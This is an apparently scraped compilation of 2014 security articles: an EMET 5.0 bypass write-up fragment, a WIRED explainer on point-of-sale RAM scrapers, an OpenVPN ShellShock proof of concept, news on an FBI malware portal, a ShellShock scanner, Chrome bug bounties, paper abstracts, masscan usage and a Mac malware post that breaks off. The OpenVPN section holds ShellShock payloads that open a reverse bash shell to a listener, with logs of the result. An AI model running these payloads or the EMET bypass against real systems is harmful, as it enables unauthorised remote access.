KERNELBASE!CreateRemoteThreadEx Offset:0x2d8 Function: KERNELBASE!CreateRemoteThreadEx Offset:0x2f0 Function: KERNELBASE!HeapCreate Offset:0x1e8 Function: KERNELBASE!LoadLibraryExA Offset:0x80 Function: KERNELBASE!LoadLibraryExW Offset:0x98 Function: KERNELBASE!MapViewOfFile Offset:0x488 Function: KERNELBASE!MapViewOfFileEx Offset:0x4a0 Function: KERNELBASE!VirtualAlloc Offset:0x110 Function: KERNELBASE!VirtualAllocEx Offset:0x128 Function: KERNELBASE!VirtualProtect Offset:0x188 Function: KERNELBASE!VirtualProtectEx Offset:0x1a0 Function: KERNELBASE!WriteProcessMemory Offset:0x338 Function: kernel32!CreateFileA Offset:0x380 Function: kernel32!CreateFileMappingA Offset:0x3e0 Function: kernel32!CreateFileMappingWStub Offset:0x3f8 Function: kernel32!CreateFileWImplementation Offset:0x398 Function: kernel32!CreateProcessA Offset:0x218 Function: kernel32!CreateProcessInternalA Offset:0x248 Function: kernel32!CreateProcessInternalW Offset:0x260 Function: kernel32!CreateProcessW Offset:0x230 Function: kernel32!CreateRemoteThreadStub Offset:0x2c0 Function: kernel32!HeapCreateStub Offset:0x1d0 Function: kernel32!LoadLibraryA Offset:0x20 Function: kernel32!LoadLibraryExAStub Offset:0x50 Function: kernel32!LoadLibraryExWStub Offset:0x68 Function: kernel32!LoadLibraryW Offset:0x38 Function: kernel32!MapViewOfFileExStub Offset:0x470 Function: kernel32!MapViewOfFileStub Offset:0x458 Function: kernel32!VirtualAllocExStub Offset:0xf8 Function: kernel32!VirtualAllocStub Offset:0xe0 Function: kernel32!VirtualProtectExStub Offset:0x170 Function: kernel32!VirtualProtectStub Offset:0x158 Function: kernel32!WinExec Offset:0x368 Function: kernel32!WriteProcessMemoryStub Offset:0x320 Function: ntdll!LdrHotPatchRoutine Offset:0x8 Function: ntdll!LdrLoadDll Offset:0xc8 Function: ntdll!NtContinue Offset:0x500 Function: ntdll!NtCreateFile Offset:0x3c8 Function: ntdll!NtCreateProcessEx Offset:0x2a8 Function: ntdll!NtMapViewOfSection Offset:0x4e8 Function: ntdll!NtProtectVirtualMemory Offset:0x1b8 Function: ntdll!NtSetContextThread Offset:0x518 Function: ntdll!NtUnmapViewOfSection Offset:0x4d0 Function: ntdll!RtlCreateHeap Offset:0x200 Function: ntdll!ZwAllocateVirtualMemory Offset:0x140 Function: ntdll!ZwCreateProcess Offset:0x290 Function: ntdll!ZwCreateSection Offset:0x440 Function: ntdll!ZwCreateThreadEx Offset:0x308 Function: ntdll!ZwCreateUserProcess Offset:0x278 Function: ntdll!ZwWriteVirtualMemory Offset:0x350 This is particularly troublesome as it provides the attacker with access to the most powerful APIs completely unhooked and without the need of resolving their addresses once EMET CONFIG_STRUCT is gathered. However, since Deep Hooks are enabled by default, if the attacker plans to use one of the above APIs without disarming EMET in first place, they would need to call the deepest API in the chain. As usual, the full exploit can be found at The Exploit Database. The exploit uses the stub at POINTER(CONFIG_STRUCT+0x518) to bypass EAF+ as well as the ROP chain presented in this blog post. Figure 6: Remote Shell with EMET 5 enabled ASR The Attack Surface Reduction (ASR) feature in EMET 5.0 helps reduce the exposure of applications by preventing the loading of specific modules or plugins within the target application. This protection can really be effective in cases where an attacker forces the target application to load a specific DLL to bypass ASLR (Java msvcr71.dll is a very typical case). Protection provided by ASR does not affect our exploit in any way because we are using a memory leak to bypass ASLR in the IE ColspanID exploit. We are also not loading any extra modules to bypass DEP. Nevertheless, we conducted some research to understand where this mitigation is located within EMET.dll. Once again, we noticed that the actual checks are done within the very same ROP-P routine, thereby making ASR entirely ineffective once the ROP-P general switch has been zeroed out. However, if an attacker is planning to force the target application to load a blacklisted module to bypass ASLR, he wouldn’t be able to disarm the EMET ASR protection using our technique before loading the forbidden DLL. PORTABILITY Our testing on older operating systems shows that the offset to the CONFIG_STRUCT global variable changes to 0x000b0b4c due to the fact that a different EMET.dll is in use. Nevertheless, offsets within the structure are consistent in all pre- and post-Vista Windows versions, both for the ROP-P general switch and for the unhooked APIs stubs. The only real differences are present when certain API functions are simply not available in the OS, such as in the case of KERNELBASE.DLL in Windows versions prior to Windows 7. CONCLUSION As we managed to successfully demonstrate, the difficulty in disarming EMET 5 mitigations has not increased substantially since version 4.x. More than anything, only our ROP chain has increased in size, while achieving the same effect of bypassing the protections offered by EMET. Here’s a video of our PoC IE exploit bypassing EMET v5.0: Sursa: http://www.offensive-security.com/vulndev/disarming-emet-v5-0/

How RAM Scrapers Work: The Sneaky Tools Behind the Latest Credit Card Hacks By Kim Zetter 09.30.14 | Today, news broke of yet more large-scale credit-card breaches at big-box stores, this time at Albertson’s and Supervalu, grocery chains in the American west. The breaches follow in the wake of other recent breaches at Target and Home Depot, all of which have one thing in common—the stealth tool the thieves used to steal the valuable card data. In the world of hacking, every malicious tool has its heyday—that period when it rules the underground forums and media headlines and is the challenger keeping computer security pros on their toes. Viruses and worms have each had their day in the spotlight. Remote-access Trojans, which allow a hacker to open and maintain a secret backdoor on infected systems, have had their reign as well. These days, though, point-of-sale RAM scrapers are what’s making the news. Attackers installed these RAM scrapers surreptitiously on the point-of-sale systems used to scan and process credit and debit card transactions at Albertson’s and Supervalu. The tools make it easy to steal card numbers by the millions as they pass through the system. RAM scrapers—used recently in the Target and Home Depot breaches to net the hackers data on more than 100 million bank cards collectively—are not new. VISA issued a warning to retailers about their use in 2008. But they’ve become increasingly sophisticated and efficient at stealing massive caches of cards. They’ve also become more ubiquitous as developer kits for building them—from a starter stub that is easily customized from a menu of features—have pushed scrapers into the mainstream and made them accessible to a wider swath of hackers. Need something to exfiltrate data from your victim’s network to a server in Minsk? Check. Want a turnkey solution for managing your command-and-control server in Mumbai? The kits have got that covered, too. RAM scrapers can be installed remotely on a Big-Box retailer’s network and deployed widely to dozens of stores in a franchise. There are more than a dozen RAM scrapers sold in the underground market these days. There’s Dexter, Soraya, ChewBacca and BlackPOS to name a few. The latter gained notoriety for its starring role in the Target breach last year. Though all RAM scrapers operate in basically the same way, each comes with different features to distinguish them, as described in a recent TrendMicro report (.pdf) about the tools. Supervalu and Albertson’s are the latest grocery chains to suffer large-scale credit card breaches. The Dexter scraper, for example, comes with a keystroke logger in addition to its card-stealing code so attackers can also steal valuable log-in credentials and proprietary secrets. ChewBacca opens a Tor connection from the victim’s network to surreptitiously exfiltrate stolen data to the attacker’s command server, which gets hosted at a Tor hidden services onion address. RAM scrapers aren’t the only tool for stealing card data, however. Skimmers that get installed on card readers at ATMs, gas stations and other payment terminals are still popular for grabbing card data and PINs. But these require an attacker to have physical access to the reader to install and retrieve the device, raising the risk that the attacker or his accomplices will get caught. RAM scrapers, by contrast, can be installed remotely on a Big Box retailer’s network and deployed widely to dozens of stores in a franchise, without an attacker ever leaving his computer. They can also be deleted remotely to erase crucial evidence of the crime. Security researchers first began seeing RAM scrapers in the wild in late 2007 after a set of standards known as the Payment Application Data Security Standard was implemented for card readers. The standards prohibited what was then a widespread practice of storing credit card data on point-of-sale terminals long after purchasing transactions were completed. The new standard, coupled with other changes stores made to transmit card data more securely, forced hackers to find alternative ways to grab the card data before it was secured. This turned out to be the random access memory in the point-of-sale systems. Here’s a primer on how card systems and the scrapers works. How Card Transactions Work To process credit and debit card purchases, small restaurants and retailers use a card processor, a third-party company like Heartland Payment Systems, that receives the card data from retailers and sends it to the proper bank for authorization. Large retail and grocery chains that collect a lot of card transactions, however, act as their own processor: In their case, card transactions from each store in the chain get sent to a central processor on the corporate network, where the data is aggregated and routed to the proper destination for authorization. Any business that allows customers to pay with a credit or debit card is also required to adhere to another set of standards known as the PCI security standards. Established by the top players in the payment card industry—VISA, MasterCard, Discover, American Express and JCB International—the standards require businesses to encrypt credit and debit card data any time it’s stored on a business’s network or crosses the public internet. The standards don’t require companies to encrypt card data while it’s in transit on the company’s own network or as it’s sent to an external processing company as long as the data is transmitted over a private network. But smart companies do secure these internal channels anyway to prevent intruders on their internal network from sniffing the data as it travels. But even when companies encrypt data on their internal network, there are moments in the transaction process when the card data is exposed. During a brief period after the cards are first scanned, the account number and accompanying data sit in the POS system’s memory unencrypted while the system determines where to send it for authorization. That’s where the RAM scraper comes in. Infecting a POS System Getting a RAM scraper onto a point-of-sale system can be tricky. In some cases cyber criminals infect the systems via a phishing attack that gets employees of the retailer to click on a malicious file or visit a web site where malware is silently installed on their system. Once inside an employee’s computer and inside the corporate network, the attackers can often work their way to the payment network, sniffing around for an administrator’s credentials that will give them access to the prized network. In some cases, the malware is installed with the help of an insider or via a backdoor left unsecured, as in the case of the hack of Jimmy John’s restaurants. Something similar happened in Target’s case, when the thieves reportedly got into the corporate network through credentials used by a heating and air conditioning firm that had access to a part of Target’s network for billing purposes. From there, the attackers found their way into the payment network to install their scraper. RAM scrapers can do a number of things to hide on a system and prevent their discovery. Some use custom packers to reduce their footprint and make it harder for antivirus scanners to examine their code. Some inject themselves into existing processes running on the network so that their malicious activity is obscured by the other process’s legitimate activity. Six months before the breach, the company had installed a $1.6 million malware detection system that worked as designed and issued multiple alerts that got passed to Target’s security staff, who summarily ignored them. How RAM Scrapers Work Once on a targeted system, RAM scrapers work by examining the list of processes that are running on the system and inspecting the memory for data that matches the structure of credit card data, such as the account number, expiration date, and other information stored on a card’s magnetic stripe. Some scrapers are efficient and grab only the golden numbers the attackers seek; others are more sloppy and grab a lot of dirt with their gold. The scrapers usually encrypt and store the stolen data somewhere on the victim’s network until the attackers can retrieve it remotely. Or they can program their scraper to send the encrypted data automatically over the internet at regular intervals, passing it through various proxy servers before it reaches its final destination. This is how the Target attackers got their data. The intruders entered Target’s network on November 27 last year, the day before Thanksgiving, and spent the next two weeks gorging on unencrypted credit and debit card data before the company discovered their presence. The BlackPOS tool used in the Target breach can send stolen data to an FTP server, but it also comes with a built-in email client that can email data to the attackers. In the Target breach, it stored the stolen data in a text file on a Target system, then waited seven hours before copying it to a compromised server on the same network and sending it on to a remote FTP server outside the network. Exfiltrating batches of data in this way can be detected with the right tools in place, and in the case of Target it was detected. Six months before the breach, the company had installed a $1.6 million malware detection system that worked exactly as planned when the intruders began stealing their loot. It even issued multiple alerts for Target’s security staff. But the security staff simply ignored them. Given the spectacular success of RAM scrapers at stealing data from even the largest retail chains, the tools would seem to be unstoppable. But they’re not. RAM scrapers could be rendered obsolete if the PCI standards were modified to require companies to encrypt card data at the keypad, in the way PINs are already required to be encrypted—that is, from the moment they’re entered on a keypad at a restaurant or grocery store, until the moment they arrive to a bank issuer for authorization. The data identifying the card issuer could then be decrypted when it reaches the processor to determine where to route the data for authorization, but the card account number and expiration would remain encrypted until it reaches the issuer. This would require new protocols be written for transmitting the data, however, since most card processors are not currently equipped to decrypt data in this way. Another solution would be the adoption of EMV cards. Also known as “chip-and-PIN” cards, EMV cards have an embedded microchip that authenticates the card as a legitimate bank card to prevent hackers from embossing stolen card data onto blank cards to use it for fraudulent transactions. The chip contains the same data that traditionally is stored on a card’s magnetic stripe, but also has a certificate used to digitally sign each transaction. Even if a thief steals the card data, he can’t generate the code needed for a transaction without the certificate. EMV cards are already implemented widely in Europe and Canada, but roll out in the U.S. has been slow. To pressure U.S. companies into installing card readers needed to process EMV cards securely, VISA has announced a deadline of October 1, 2015. Any company that doesn’t have EMV readers in place by then could face liability for fraudulent transactions that occur with card data stolen from them. Another antidote to RAM scrapers could turn out to be Apple Pay. If Apple’s new mobile payment system becomes widely adopted, it could dramatically reduce the number of cards scanned and processed in the traditional way, thereby limit the amount of card data a RAM scraper could grab. Apple Pay stores the card data in the iPhone’s Passbook and submits only a device ID and a one-time transaction code to the merchant to authorize a payment, thereby never giving the merchant a card number. Though thieves could still go after the card data, they’d have to compromise it at its source—in the iPhone itself. But this would require compromising individual iPhones to get one or two card numbers at a time, rather than compromising one source to get millions of card numbers in a single hit. Sursa: How RAM Scrapers Work: The Sneaky Tools Behind the Latest Credit Card Hacks | WIRED

# OpenVPN ShellShock PoC # Based on Fredrik Strömberg's HN post: https://news.ycombinator.com/item?id=8385332 # Verified by @fj33r, posted at: http://sprunge.us/BGjP ### server.conf port 1194 proto udp dev tun client-cert-not-required auth-user-pass-verify /etc/openvpn/user.sh via-env tmp-dir "/etc/openvpn/tmp" ca ca.crt cert testing.crt key testing.key # This file should be kept secret dh dh1024.pem server 10.8.0.0 255.255.255.0 keepalive 10 120 comp-lzo user nobody group nogroup persist-key persist-tun client-cert-not-required plugin /usr/lib/openvpn/openvpn-auth-pam.so login script-security 3 status openvpn-status.log verb 3 ### user.sh #!/bin/bash echo "$username" echo "$password" ### start server openvpn server.con ### terminal 1 nc -lp 4444 ### terminal 2 sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca ca.cert --auth-nocache --comp-lzo ### username && password were both shellshocked just incase user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 & pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 & ### log Mon Sep 29 20:56:56 2014 NOTE: the current --script-security setting may allow this configuration to call user-defined scripts Mon Sep 29 20:56:56 2014 PLUGIN_INIT: POST /usr/lib/openvpn/openvpn-auth-pam.so '[/usr/lib/openvpn/openvpn-auth-pam.so] [login]' intercepted=PLUGIN_AUTH_USER_PASS_VERIFY Mon Sep 29 20:56:56 2014 Diffie-Hellman initialized with 1024 bit key Mon Sep 29 20:56:56 2014 WARNING: POTENTIALLY DANGEROUS OPTION --client-cert-not-required may accept clients which do not present a certificate Mon Sep 29 20:56:56 2014 TLS-Auth MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ] Mon Sep 29 20:56:56 2014 Socket Buffers: R=[163840->131072] S=[163840->131072] Mon Sep 29 20:56:56 2014 ROUTE default_gateway=10.10.0.1 Mon Sep 29 20:56:56 2014 TUN/TAP device tun0 opened Mon Sep 29 20:56:56 2014 TUN/TAP TX queue length set to 100 Mon Sep 29 20:56:56 2014 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 Mon Sep 29 20:56:56 2014 /sbin/ifconfig tun0 10.8.0.1 pointopoint 10.8.0.2 mtu 1500 Mon Sep 29 20:56:56 2014 /sbin/route add -net 10.8.0.0 netmask 255.255.255.0 gw 10.8.0.2 Mon Sep 29 20:56:56 2014 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] Mon Sep 29 20:56:56 2014 GID set to nogroup Mon Sep 29 20:56:56 2014 UID set to nobody Mon Sep 29 20:56:56 2014 UDPv4 link local (bound): [undef] Mon Sep 29 20:56:56 2014 UDPv4 link remote: [undef] Mon Sep 29 20:56:56 2014 MULTI: multi_init called, r=256 v=256 Mon Sep 29 20:56:56 2014 IFCONFIG POOL: base=10.8.0.4 size=62, ipv6=0 Mon Sep 29 20:56:56 2014 Initialization Sequence Completed Mon Sep 29 20:57:54 2014 MULTI: multi_create_instance called Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Re-using SSL/TLS context Mon Sep 29 20:57:54 2014 10.10.0.56:1194 LZO compression initialized Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ] Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Local Options hash (VER=V4): '530fdded' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Expected Remote Options hash (VER=V4): '41690919' Mon Sep 29 20:57:54 2014 10.10.0.56:1194 TLS: Initial packet from [AF_INET]10.10.0.56:1194, sid=644ea55a 5f832b02 AUTH-PAM: BACKGROUND: user '() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &' failed to authenticate: Error in service module Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: POST /usr/lib/openvpn/openvpn-auth-pam.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1 Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/lib/openvpn/openvpn-auth-pam.so _________/bin/bash_-i____/dev/tcp/10.10.0.56/4444_0__1__ Mon Sep 29 20:57:57 2014 10.10.0.56:1194 TLS Auth Error: Auth Username/Password verification failed for peer Mon Sep 29 20:57:57 2014 10.10.0.56:1194 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA Mon Sep 29 20:57:57 2014 10.10.0.56:1194 [] Peer Connection Initiated with [AF_INET]10.10.0.56:1194 Mon Sep 29 20:57:59 2014 10.10.0.56:1194 PUSH: Received control message: 'PUSH_REQUEST' Mon Sep 29 20:57:59 2014 10.10.0.56:1194 Delayed exit in 5 seconds Mon Sep 29 20:57:59 2014 10.10.0.56:1194 SENT CONTROL [UNDEF]: 'AUTH_FAILED' (status=1) Mon Sep 29 20:58:01 2014 read UDPv4 [ECONNREFUSED]: Connection refused (code=111) Mon Sep 29 20:58:04 2014 10.10.0.56:1194 SIGTERM[soft,delayed-exit] received, client-instance exiting ### nc listener nobody@debian:/etc/openvpn$ id id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) Sursa: [bash] OpenVPN ShellShock PoC - Pastebin.com

by Dennis Fisher Follow @Dennisf September 29, 2014 , 10:22 am SEATTLE–The FBI has developed an internal malware-analysis tool, somewhat akin to the systems used by antimalware companies, and plans to open the system up to external security researchers, academics and others. The system is known as Malware Investigator and is designed to allow FBI agents and other authorized law enforcement users to upload suspicious files. Once a file is uploaded, the system runs it through a cluster of antimalware engines, somewhat akin to the way that Virus Total handles submissions, and returns a wide variety of information about the file. Users can see what the detection rate is among AV engines, network connection attempts, whether the file has been seen by the system before, destination and source IP addresses and what protocols it uses. The portal, launched in August, is available to law enforcement officials right now, but Jonathan Burns, an FBI agent who works on cybercrime, said in a talk at the Virus Bulletin conference here last week, that the FBI is developing a separate portal for outside experts. That system will allow security researchers and others to upload suspicious files they’ve collected and get correlation information and any other data the FBI has on them or related files. “We are essentially in this to collect samples. The more we can provide tools out to law enforcement and industry to fight cybercrime, the more we’re helping the government fight cybercrime,” Burns said. “This is a collection tool for the FBI.” Right now, Malware Investigator is able to analyze Windows executables, PDFs and other common file types. But Burns said that the bureau is hoping to expand the portal’s reach in the near future. “We are going to be doing dynamic analysis of Android files, with an eye toward other operating systems and executables soon,” he said. Burns emphasized that private users of Malware Investigator won’t have to share any personal information in order to use the portal. “You don’t have to share anything you don’t want to. No one will know who you are unless you want them to,” he said. Sursa: https://threatpost.com/fbi-to-open-up-malware-investigator-portal-to-external-researchers/108590

CrowdStrike ShellShock Scanner – New Community Tool The Tool Box 30 Sep 2014 Dmitri Alperovitch A large number of ShellShock online vulnerability scanners have been released since the bug disclosure on September 24. These tools can be great for scanning external web servers, however, just as we’ve seen with the Heartbleed scanners, there is a real unfilled need for a tool that can be easily used to scan for vulnerable internal systems, in addition to the external servers. While Unix gurus can fairly easily write scripts to accomplish this task, many prefer to have an easy to use Windows GUI tool to simplify the vulnerability assessment process. And so after once again having put Robin Keir, our toolbuilder extraordinaire, on the case, we are proud to announce CrowdStrike ShellShock Scanner as our latest free community tool. As with our Heartbleed scanner, the tool can import a list of IP ranges or website URLs to scan. Multiple port ranges can be selected and the results can be saved in CSV, HTML, XML or text format. Unfortunately network-based scanning for vulnerable ShellShock servers is nowhere as easy as identifying the Heartbleed servers since the triggering of execution of the bash shell is usually very specific to each application. Even to effectively scan HTTP servers, one needs to know the path to all of the CGI scripts that are dependent on bash and sometimes even the specific GET or POST parameters that need to be supplied to the script in order to trigger the vulnerability. We have preloaded the scanner with almost 400 common CGI paths that will be attemped during the full scan and have allowed the import of additional paths to test custom or less popular CGI applications. The scanner works by sending an HTTP GET request to each pre-configured CGI path of the scanned target with the following headers: Cookie: () { :; }; echo -e "\r\n\r\n<random string>" Referer: () { :; }; echo -e "\r\n\r\n<random string>" User-Agent: CrowdStrike ShellShock Scanner/1.0 Test: () { :; }; echo -e "\r\n\r\n<random string>" When the CGI script launches bash with the supplied environment parameters, it should trigger the execution of the echo command on a vulnerable system. With most scripts, the random string in the output of the echo command will be sent back in the body of the HTTP response, allowing the scanner to detect it and deem the system vulnerable. We deliberately picked the innocuous echo command as the one to execute by the scanner so as to minimize the chance of the scan doing anything harmful to the vulnerable target. Please note that even a full internal and external IP range scan of your network will not provide you with a complete assurance that you are not vulnerable to ShellShock. In addition to the limitations of scanning CGI applications, this scanner is not able to determine the vulnerability of SMTP servers or DHCP clients to the bug. Nor is it able to be used to test for privilege escalation vulnerabilities via SSH or on local Unix and OSX systems. It is still paramount that you apply patches across your entire population of systems that utilize bash shell as soon as possible. You can download CrowdStrike ShellShock Scanner here. Sursa: CrowdStrike ShellShock Scanner – New Community Tool | Adversary Manifesto

Cross-posted on the Chromium Blog We work hard to keep you safe online. In Chrome, for instance, we warn users against malware and phishing and offer rewards for finding security bugs. Due in part to our collaboration with the research community, we’ve squashed more than 700 Chrome security bugs and have rewarded more than $1.25 million through our bug reward program. But as Chrome has become more secure, it’s gotten even harder to find and exploit security bugs. This is a good problem to have! In recognition of the extra effort it takes to uncover vulnerabilities in Chrome, we’re increasing our reward levels. We’re also making some changes to be more transparent with researchers reporting a bug. First, we’re increasing our usual reward pricing range to $500-$15,000 per bug, up from a previous published maximum of $5,000. This is accompanied with a clear breakdown of likely reward amounts by bug type. As always, we reserve the right to reward above these levels for particularly great reports. (For example, last month we awarded $30,000 for a very impressive report.) Second, we’ll pay at the higher end of the range when researchers can provide an exploit to demonstrate a specific attack path against our users. Researchers now have an option to submit the vulnerability first and follow up with an exploit later. We believe that this a win-win situation for security and researchers: we get to patch bugs earlier and our contributors get to lay claim to the bugs sooner, lowering the chances of submitting a duplicate report. Third, Chrome reward recipients will be listed in the Google Hall of Fame, so you’ve got something to print out and hang on the fridge. As a special treat, we’re going to back-pay valid submissions from July 1, 2014 at the increased reward levels we’re announcing today. Good times. We’ve also answered some new FAQs on our rules page, including questions about our new Trusted Researcher program and a bit about our philosophy and alternative markets for zero-day bugs. Happy bug hunting! Sursa: Google Online Security Blog: Fewer bugs, mo’ money

Juan A. Garay Yahoo Labs garay@yahoo-inc.com Aggelos Kiayias University of Athens aggelos@di.uoa.gr Nikos Leonardos University of Athens nikos.leonardos@gmail.com September 30, 2014 Abstract Bitcoin is the first and most popular decentralized cryptocurrency to date. In this work, we extract and analyze the core of the Bitcoin protocol, which we term the Bitcoin backbone, and prove two of its fundamental properties which we call common prefix and chain quality. Our proofs hinge on appropriate and novel assumptions on the “hashing power” of the adversary relative to network synchronicity; our results are shown to be tight under high synchronization. Next, we propose and analyze applications that can be built “on top” of the backbone protocol, specifically focusing on Byzantine agreement (BA) and on the notion of a public transaction ledger. Regarding BA, we observe that Nakamoto’s suggestion falls short of solving it, and present a simple alternative which works assuming that the adversary’s hashing power is bounded by 1=3. The public transaction ledger captures the essence of Bitcoin’s operation as a cryptocurrency, in the sense that it guarantees the “liveness” and “persistence” of committed transactions. Based on this notion we describe and analyze the Bitcoin system as well as a more elaborate BA protocol, proving them secure assuming high network synchronicity and that the adversary’s hashing power is strictly less than 1=2, while the adversarial bound needed for security decreases as the network desynchronizes. Download: http://eprint.iacr.org/2014/765.pdf

Eugene Rodionov ESET, Canada Alexander Matrosov Intel, USA David Harley ESET North America, UK Email rodionov@eset.com; alexander.matrosov@ intel.com; david.harley.ic@eset.com ABSTRACT Bootkit threats have always been a powerful weapon in the hands of cybercriminals, allowing them to establish a persistent and stealthy presence in their victims’ systems. The most recent notable spike in bootkit infections was associated with attacks on 64-bit versions of the Microsoft Windows platform, which restrict the loading of unsigned kernel-mode drivers. However, these bootkits are not effective against UEFI-based platforms. So, are UEFI-based machines immune against bootkit threats (or would they be)? The aim of this presentation is to show how bootkit threats have evolved over time and what we should expect in the near future. First, we will summarize what we have learned about the bootkits seen in the wild targeting the Microsoft Windows platform: from TDL4 and Rovnix (the one used by the Carberp banking trojan) up to Gapz (which employs one of the stealthiest bootkit infection techniques seen so far). We will review their infection approaches and the methods they have employed to evade detection and removal from the system. Secondly, we will look at the security of the increasingly popular UEFI platform from the point of view of the bootkit author as UEFI becomes a target of choice for researchers in offensive security. Proof-of-concept bootkits targeting Windows 8 using UEFI have already been released. We will focus on various attack vectors against UEFI and discuss available tools and what measures should be taken to mitigate against them. Download: https://www.virusbtn.com/pdf/conference/vb2014/VB2014-RodionovMatrosovHarley.pdf

masscan is the fastest TCP port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second. It produces results similar to nmap, the most famous port scanner. Internally, it operates more like scanrand, unicornscan, and ZMap, using asynchronous transmission. The major difference is that it’s faster than these other scanners. In addition, it’s more flexible, allowing arbitrary address ranges and port ranges. NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses. PF_RING – Beyond 2 million packets/second To get beyond 2 million packets/second, you need an Intel 10-gbps Ethernet adapter and a special driver known as “PF_RING DNA” from PF_RING. Masscan doesn’t need to be rebuilt in order to use PF_RING. To use PF_RING, you need to build the following components: libpfring.so (installed in /usr/lib/libpfring.so) pf_ring.ko (their kernel driver) ixgbe.ko (their version of the Intel 10-gbps Ethernet driver) You don’t need to build their version of libpcap.so. When masscan detects that an adapter is named something like dna0 instead of something like eth0, it’ll automatically switch to PF_RING mode. Usage Usage is similar to nmap. To scan a network segment for some ports: # masscan -p80,8000-8100 10.0.0.0/8 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]# masscan -p80,8000-8100 10.0.0.0/8 [/TD] [/TR] [/TABLE] This will: scan the 10.x.x.x subnet, all 16 million addresses scans port 80 and the range 8000 to 8100, or 102 addresses total print output to that can be redirected to a file To see the complete list of options, use the –echo feature. This dumps the current configuration and exits. This output can be used as input back into the program: # masscan -p80,8000-8100 10.0.0.0/8 --echo > xxx.conf # masscan -c xxx.conf --rate 1000 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]# masscan -p80,8000-8100 10.0.0.0/8 --echo > xxx.conf # masscan -c xxx.conf --rate 1000 [/TD] [/TR] [/TABLE] Banner checking Masscan can do more than just detect whether ports are open. It can also complete the TCP connection and interaction with the application at that port in order to grab simple “banner” information. The problem with this is that masscan contains its own TCP/IP stack separate from the system you run it on. When the local system receives a SYN-ACK from the probed target, it responds with a RST packet that kills the connection before masscan can grab the banner. The easiest way to prevent this is to assign masscan a separate IP address. This would look like the following: # masscan 10.0.0.0/8 -p80 --banners --source-ip 192.168.1.200 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]# masscan 10.0.0.0/8 -p80 --banners --source-ip 192.168.1.200 [/TD] [/TR] [/TABLE] The address you choose has to be on the local subnet and not otherwise be used by another system. In some cases, such as WiFi, this isn’t possible. In those cases, you can firewall the port that masscan uses. This prevents the local TCP/IP stack from seeing the packet, but masscan still sees it since it bypasses the local stack. For Linux, this would look like: # iptables -A INPUT -p tcp --dport 60000 -j DROP # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]# iptables -A INPUT -p tcp --dport 60000 -j DROP # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [/TD] [/TR] [/TABLE] On Mac OS X and BSD, it might look like this: # sudo ipfw add 1 deny tcp from any to any 60000 in # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 [/TD] [TD=class: crayon-code]# sudo ipfw add 1 deny tcp from any to any 60000 in # masscan 10.0.0.0/8 -p80 --banners --source-port 60000 [/TD] [/TR] [/TABLE] Windows doesn’t respond with RST packets, so neither of these techniques are necessary. However, masscan is still desigend to work best using its own IP address, so you should run that way when possible, even when its not strictly necessary. The same thing is needed for other checks, such as the –heartbleed check, which is just a form of banner checking. You can download masscan here: 1.0.3.zip Or read more here. Sursa: masscan - The Fastest TCP Port Scanner - Darknet - The Darkside

September 29, 2014 Eugene Kaspersky Is there any (Mac) OS X-specific malware around? Oh yes. But for some odd reason I haven’t said anything interesting on this topic for quite a while… The last time was two and a half years ago. Yes, that’s how long it’s been since the global Flashback worm outbreak that infected 700 thousand Macs worldwide. The security industry made quite a bit of noise about it (and quickly disabled the Flashback botnet), but since then – mostly silence… It might seem to some that ever since there’s been a complete lull on the Mac-malware front and not one bit of iMalware has disturbed Apple Bay’s calm waters… But they’d be wrong… Sure, if you compare the threat levels of picking up some malware on different platforms, at the top of the table, by a long way, as ever, is the most widely used platform – Microsoft Windows. Quite a way behind it is Android – a relatively new kid on the block. Yep, over the past three years the cyber-vermin has been seriously bombarding the poor little green robot with exponentially increasing levels of malicious activity. Meanwhile, in the world of iPhones and iPads, except for very rare cyber-espionage attacks, there have been hardly any successful attacks thereon (despite using various exotic methods). It’s a similar story with Macs too – things are relatively peaceful compared to other platforms; but of late there have been… stirrings – about which I’ll be talking in this post. Briefly, a few numbers – kinda like an executive summary: The numbers of new for-Mac malware instances detected in the last few years are already in the thousands; In the first eight months of 2014, 25 different ‘families’ of Mac malware were detected; The likelihood of an unprotected Mac becoming infected by some Mac-specific-unpleasantness has increased to about three percent. In 2013 alone @Kaspersky detected ~1700 malware samples for OS X Tweet Now, if you dig deeper and look at the situation from the inside, from the point of view of a malware expert, the picture is much less rosy… Mac-threats have evolved, the perception of security among Mac users has changed (but not too much), and the 